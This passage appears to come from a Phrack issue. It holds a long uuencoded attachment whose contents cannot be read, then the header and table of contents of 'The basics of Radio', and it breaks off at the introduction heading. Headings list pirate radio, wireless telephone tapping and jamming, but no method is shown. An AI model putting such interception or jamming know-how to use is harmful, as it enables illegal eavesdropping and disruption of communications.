MRKP&[FCV>O[Z^<L#25/FT863I"'Z$K))$CZZ`F.^<^8A8=(TB]5B-!]=M$@Z
MRS8?7;3H)F@QFH^NQ>@F:#&:Q6HQ]$3V<U[O/;+@$P(*-8N+2I5QP4=^)R'D
M4C-9MI"P&8;)Z/#O:=*%'_V>Z.C??'3YPKU7-!]=O$@8*=TJ=.ZX),SB8N-Q
M-!]=/D@8\D<7#Q*&7)<.YHY+PI`7E&!E\:^7BXM$;!V/O/%UMU5JEDKO/W@'
MWI^T&6?VJ\S&%2X[BZC;<6=!<F;#<C>;U>7&L.^+6W4FQYJYU6Y29[?FUVQ"
M9YW)LV8>V?M@E,F^R)E3JP@,]%5LQ:!8O4!!GA?FBBSG6I&2]:<]/*YS:=S.
MLB*G;S9,:#9U29K-9ET;2;U-79+3-YO4VRG69%:VUTLX91:;H'9W?NPLJ1-[
M.8;,;I#HNO`/^_?=H6XH;UNHY?TL"Q4[3!"($4M$0SD\C(*;8-R^R[U*718/
M!:#!C""8EZK+!L*UCN>'6#D;8JZ5/C_$*MD0*_;4/;<E_A7OFWNN?;,`G,N%
M0IM1^V2WEYS6HJ=8H]L9;6ZGZ%K"#>)<-[KY=RU)@SFW151Y6D3.1>0^GO_7
M+R)WU_[K%U%"?-5Y+:*M!,'P,2:J6[T[XS7,-/2W(&-0K-I(H%CS_&V6T=&:
MOGF(_'MWC*!R,6V,HG'")5HEYP33Y<ANI_?03DJ\/B/\:)P,/Z]0:L"_"?IM
M=0P\^P0XK"9,@/S>A9GF:=[(*WK$X;ECE2T\@QYU>.YH9?.8GMF1.R]:JH<H
M.7@;F!FSKK:7,.M,A_P3.W-,6PJ`'G6_W[\V<317PWZ22KZ:RP/1I"$-A9E.
MSVS>@/IV<C$3;DGX&%S6AHZ>-?/1:.7R3N:A7BQYK'5-A'J?.#=<(^.^-0.N
MR9DV"QUGT\S:-M#Z7<)C$<^P*[8AI\FX[^:X*DP+'AM"FJY42\_A\-R>G5J$
MY[E9,N*G,[ZDFP_W8K8Y@1\9G[\,X\N&V^,QOJ)I-4_&5RRN\V5\LX]SP8RO
M8.(5R_AFIU;!C"]%_LQ)K?R,SZ5UFVDQ?U&)+QMN7PWC^ZHDOF)Q_:*,[_$E
MOH*)]ZB,[_$EOFP'[_DQOB1-Z1/C>V)\3XSOB?']';V1\M20=W\69*P#V[!J#
MT<`5135.:"%BJKJ8W\4<51HCYS@G(5AY1`JV<U`P(TN<*T';.0B:D2VZ0[3/
MCF]TYZ)O$EMT1G`N`J$LG$>W@YPGA?PL%-(M).=)(7^4D_TE:?K<BW?V763.
M[*\(!.?*_@I`\%'97Q'X/B;[FQW?@ME?$0@5ROX*0*A8]E<$0CG97[UHZ:]U
M=')*2B_F5Y\#\4M#+Q?MRX%>`Z)<5OW8.^LU1\LN,;@YRSE'PRXBNQ/@T=`N6
M^S+CXR)?P6)?5GS\+/0I0.K+C(]*GW2N5[30]U5PO=G1FRO3FQF]1^5YLV/[
MF"QO5FP+YGBSHU,HPYL9G6+YW>SHY&5W29>ZF:24,\TI+=_YUII+:IY"WU3H
MC@I!=QH9<!ITVS-1MTB1<"KL9R)VD1+B%-C+S#(-^UD%QJG0RT[<6>7':=#S
MIZ/>-.+D5.BE42^=W29=)6>2C_X;V.VLZ#XRNYT1W2_,;F?%_LNRV]FPGSN[
MG16].;/;&=&;-[N=%;V9V6US-X'=)GCZ%&MB/@XBE^]6@NW.UX:>QDY/SU*P
MRQ@_I3_('/'F%%/3%M!DD"7#J#5VM38`;$:KY[6<2>98PEC7`I312THA:XUM
M73RZ85'X:CRN?O23FTO,@&\GO$]%UQFO9UY(A>E8.;SNFDF^@-.[+N8T'2^<
MH7T1]#(SM(PI"HMD:#F;G(6AJ9,[)5=E!J<'C4'8$U'-P-&*QE?G:-,CG(FE
MS8ZPQCS2,GUEXFD%D#$K6CI'2PJJ<'2:)0EZ^@()^RZ#8'4\TY+7NUA;O5$,
MGIT@P3\\+ZHZH9M3$3H?)_IRA,Z'IT[HF?'4-I,:8;S)B+[+AFC;[^IV),[M
M)*'187&-:MO(X47UM/:FD+[^6[-/=@3X26TU7V>36M4X^OG;RY2>7F1K<SB)
MW/$29P_XHPB/!"8120+OA7<3/G@_>OO>V+_N!I%W[4=!QQOTO>$HN`\'D\@;
M##=Z_I`T#Y6:YV^]LV%[T`F\*ZSPPCL%..,[?TS^":+`\T>!%PV[X=@+^^.!
```

```
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
MA)AD'S!^)>24"R(7$O#(!Y$)B7JD`<B$QKUP`N9#0HXD5E0P@%Q+SR@:0"XD]
M_5*TN/27>=D$-'B9)^5147D#IN`F^7$M+@%F7J:3']?B,F#FY4WY<2TN!69>
M%I8?U^)R8.;E=/EQ+2X)9EZ&F!_7XK)@YN6;^7%]LD=ZLD=Z='NDVE3A^3,;
MWLP4;21[,S-%&\G>C!YM)/<:SQ3C/P\ZP]GPR90,(#,^,T4OR=7,#-%+LK<S
M4_227,U(W4E8J'.RFJ)+=*I3>U%&4@X4REE0*$AZ=J!0R8)"04*Q`X6M+"@4
M).LZ4-C.@D)!(JP#A9TL*!0DF3I0V,V"0D$"IP.%O2PH%*3/HWOJ='RA(&V>
M`X5,?*$@79X#A4Q\H2!-G@.%3'RA#V>`X5,?*$@+9X#A4Q\H2`=G@.%3'RA
M(`V>`X4L?*%>Y"W34QZ`*8`]Y0'(#^PI#T!^8/]G\P!,Q5)G2E]>T`'(A4,6
M2<=R1U\H#EE$'<M]?J$X9)%U+/D,"L4AB[!C27Y0*`Y9I)U&0:<@%PY9Q)U&
M0<<@%PY9Y)VB[!JH5FLZ]E#0.<B!0B;N4-`YR(%")N90T#G(@4(FWE#0.<B!
M0B;64-`YR(%")LY0T#G(@4(FQE#0.<B!0A:^4)0=PTSIRPN2&UPX9.$,1=D=
MN'#(PAJ*LB=PX9"%-Q1E)^#"(0MS*.K^WX5#%NY0U+V^"X<L[*&H^WH7#IGX
M0T%R`[T^FHX]%"0W.%#(Q!T*DAL<*&1B#@7)#0X4,O&&@N0&!PJ96$-!<H,#
MA4R<H2"YP8%")L90D-S@0"&9+]BN8^OSM9OX6N*XY+B5GR&.2YY69LC#<G.?
MM9E1-!XX;`R*5.)FLE?(C'3DWSO2(64Q6/B8?0BBCUDLB^KY#192V[X9!2Y7
M0;W/Z;8)4[=6MK26*DQ/W5K%TEJJV#QU:UN6UE(%Y*E;V[:TEBH*3]W:CJ6U
M5*%WZM9V+:VEBK=3M[9G::W(BYA:D1<QM2(O8FI%7L34BKR(J15Y$5,K\B*F
M5N1%3'H8BFS"0Q:NGAY.8LJV+#P]/2S$E&U9.'IZ>(<IV[+P\_0P#5.V9>'F
MZ>$6IFS+PLO3PR9,V9:%DZ>'/YBR+0L?3P]CD%%LSK3`4E4/TS9F6V&I2H9I
M&[,ML51UPK2-V=98JN)@VL9LBRQ513!M8[95EJH,F+8QVS)+/?9/VYAEG15E
M4#"A;@)3:?Z*,BAPX?"8!@4N'![3H,"%PV,:%+AP>$R#`A<.CVE0X,+A,0T*
M7#ADN1A(-RA(9483YK*392=.-QZ8OCG+7IQN*#!]<Y;=.-TH8/KF+/MQN@'`
M],U9=N3TR_[IF[/LR>D7^],W9]F5TR_QIV_.LB\_)828`MA30HC\P)X<L/,#
M>W+`S@',=DW2F.8B,?-E33B3`W;V9F9RP,[>C.Z`G>N6,5<S,UPS9F]G)H?I
```

```
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
MK4>$;1+1>WW4^=3W>]"9@??WY<NS%<^HLDB;5H"M;.+-H='_D7*$,A',@3V
MR`L^YN2?\7[[;7%!_GL3"*"4V/PUZ'?4-U>7%R=8L>W]_4=$^_\M+MI(]F+!
M\O8KQ9B.O(XQOOUJ,.933YL([/57@R8L#`U%\NJK04]?LI9E)7W^:M`6C$7#
ME[__:A!55]#P;F@N*WCIPG<N^&F$T%%N=P.__V)Q8=1SL&"O\LK;[`3WF_U)
MM[NX2);;.+T.EV_4RE]Z'_Y2CRG_D0/037@[&06%M0'RT-[.CDO^**V4A/RW
M4RGO@/Q7WMEZDO\>X_GVF\WKL+\9W2TN!NV[@5=CHQ_V;U%;2>>'1^<'+;+>
M]Y8:_7$P\H;^^(Y(28$WN/'(XO:.0+79";QZ.`K:X\'HTPMO:7$4^!U/R)5)
M(*K82`(46OZE@)9JY,,8D!7+>F-C8VDQ(C+<CYYRE/%>Q65^6UP/O*7H.TG>
M_>[OXO?O;I?B$HKL^]W?Y3])N?]ZOF&N?U4RORN@C93SW\[.UBZN_YVMO:UR
MJ4+6_QXY`3ZM_\=X-E>]16_5TP:=O(*WRVVRQ99*VZ!#A_[_O_M!V-GPQ_`-
M_KMZ<W3I-<DISX.?9W@74O_EZ/2U=_[VXOSL$B[23X]_\:JG=:_JG5^<G377
MR?2_)0;#6.+_:H"`:7O7MU1M2N58]]4[/KKS#AO>F<5SW+AJ7YV>GET>'!#X`
MKY[^XM6K)]77#:]^=MKPWEZ2E@0:!/KKB^K)!L-M$Z]R\'0:!;WK+F$UY-VW
M(>,M/S+I_.X5EGOUZA7G/M%X<G/C8>$.81;]P*N=731:YQ='/U6O&N)EM5YO
M-0X)%ZB1WOS4N+AJU1N';\GIME&M-RZ\DM34W7@\[$!+ZJL6W6BM'T:!Y?5P
M-!@/VH.NY=,H^&,21&-'(ZW;[N#:[T:6S_=W`VLU/&&9K[L#P-?SW.V;WSO,
MC.\6%$8W[?]V>4M].1F'W5:OLZ.^C8!8UP,0M97W-_V>/V[?\0'N!6-_O4OD
M0]AG8+]9QV:C#<]KD&'WHF!T'XQ(/]I>V^][UP%S<O@T'411>=S]YO4EW''Z[
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
E`Z$?=*Q'G(IN[VN/HF^(VPU_H]-HK0.0,=]TFMH&OEWAO*,4$+/@V>(O-7$
M422E)H[:/_#'^BLR=GSO:L'FY;WPEF#>+*GD_FM1_@7_D8D5KZ^_$KBH*A6P
MN6CHMI`U4JY"=\C5(6,0R5Q.JP<L3(,]!QX&#^-C%9F/&<C,P,HT6"HSH^M_
M"&M<+?;2&\8\`+X/31Y@SO<7WW7X-(<*8@[#'P@:),L5CJX.(]LTX#(=0X2K
M$_@HZTBQXB\\1[\EA<5479;["S3,UCO4)FF:AA:1@;K+O#5=#;'T\>/'#?RU
MLD&3LR;J,]:\I4TXX&QBE:TDHEJE<X9%K/SP&&6DUZC[4-X/R2O0[(QNRVOT
M9T6:U=CZZ=N35O7B]27I*"%VQ?O\61`7)4S8"H;^B%!R'(RB5O"P7%GSGE&(
M\*.R`JNA63TZ?GO1D(?FYXNST]?@V%T]:=7.WIY>R0-!%B=9RN/6>-"*QJ"8
M!<``=.5EXG>Q*O7A^+5U>77Q4_6X=7Y.X:2.AY4Q:&`J*PGC)`X\K-,68K.?
M6^SG-ONYDSP(._D'@?[8HC^VZ8\='!D!*,\0Y1TCLJ+(QS$?H:3:6RG?MU.^
M[V@S0"CW+#/@U]:Q/)9K^O!NK62;!MMFU1TZ,[ZT7N:Q'E7_1]CH9O%MI-E_
ME;C]U]9NI5(!^Z_MRL[VW[R=XE$QG__C^C]S_$U=(/EOIC;2_#]*.[O2^&^#
M_G=K;_M)__L8SX_@6OQJ\<=_`+L$9;!G50>3__`3_0ZV?E%[%`['].'9U<$"
M]&40>#X'Q_6EXX<QRI&^%_D]N,VG);PH)(=&.";2NE=P%(YQ`^&I?QMX7-SR
M\-PTN"$'3KR\5`Z=$@INK;0H,K/ADU>(Z9-GZJ8YBG!LAE^"T6@`ARHX#Q"*
M+I?H+DQO[):7"+5:)XT3:KP$T5/LGT^J[^H$\3=P?'(506T=N!_JKCU+;&.7
M=`#HJVDYYW,5),KS_"@"99?_3F2%6,(!^8HBT-'[L*(H3]!(%.IZ&QX_&/`#
M,SLB,]1`H3H>>'!1*C3R<$O:CY+1@PJ=^#01Z__054'2VWG>I$].`,M_#\61
MG?P)1@CD%2$;7)7?!J/X0/]WJLA:C.%&`=Z3C\9H-AL#_OOPAF!]X$63:]+5
M93@]?^P0E$B?-Y?(O^H8K7E$T./B46<@D\L@^]+5Z!.LZV\!#$&(0'SAX>_0
MI*Q[^#M<X!,<""WXMP52X_OOY3(,SZ6-C4T!1`R']_$.;',)-;P?/7WF><^>
M>=]@&Z+143">C/JT87SWEX>T@LEA&2!EA/A$3-#:Z6KE9=$PJ6]E+7I5VWG/
M<KPTSH^LE4UJX6QK2IO)#E3_\H)N%(ANFX-;\_L0$@'GO#E/&)#%?Y#M89-N
M$U]ZMWIZBGXT^2\8=8L_`!!QJ))9_M_:`_E_>^M)_G^4QS+^FO1'7FW,Y@B>
M<OXCTOZV-/YH_[&SO?<D_S_&\^TWFY-HA#Y`,-*+WRY^JXO_=`*0]V#;#=(\
MVH,P^?_;V87_;P'LE'+_M[,)_=BT4]['K[.*^M_.+N=_JPGYWRX2\OSNDU[2
MD7JY"/;WX2CPZI_Z_C&8^HU>+OZ_H\LJD;7^^+B\L;$A?0$'*9#(45WN+=4&
M8*(Y7K\B@N@+;TQ$WLV[<:_[6Q_E"U[J3?AO-LBJ^`+.5B\7HZ`;M,?+EU?U
ML[=7`/OOW?!Z%,"=8]SNBQ>=+@IC+7#!6I:EGK*%\;"#P]][011!5PU0>+(!
M28>B*`H2$96B_O?H4\^*!#DW=%KDX_6`R*H4T_C8HEP2S(B!5AXR61&!L_5`
MY/3E)=X0D0`9IK,U]DRHS*71[0SZ@1`6%_].C6Q-X)-^/#",(BM?49"2I^?I
M>7J>GJ?GZ7EZGIZGY^EY>IZ>I^?I>7J>GJ?GZ7EZGIZGY^EY>IZ>I^?I>7J>
<GJ?GZ7EZGIZGY^EY>IZ>I\=X_G^J=K^<`!@&````
`
end
```

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0b of 0x10

```
|=---------------------=[ The basics of Radio ]=------------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ shaun2k2 <shaun at rsc dot cx>  ]=----------------=|
```

```
0 - Introduction
  0.1 - Technical Terms

1 - Radio Basics
  1.1 - Radio Waves
  1.2 - Carrier
  1.3 - (RF) Frequency Bands
  1.4 - Wavelength
  1.5 - Transmission
  1.6 - Receiving

2 - AM Radio
  2.1 - What is AM Radio?
  2.2 - Modulation
  2.3 - Demodulation
  2.4 - Circuits
      2.4.1 - Receivers
      2.4.2 - Transmitters

3 - FM Radio
  3.1 - What is FM radio?
  3.2 - Modulation
  3.3 - Demodulation
  3.4 - Circuits

4 - Misc
  4.1 - Pirate Radio
  4.2 - Wireless Telephone Tapping
  4.3 - Jamming

5 - Conclusion

6 - Bibliography
```

--[0 - Introduction

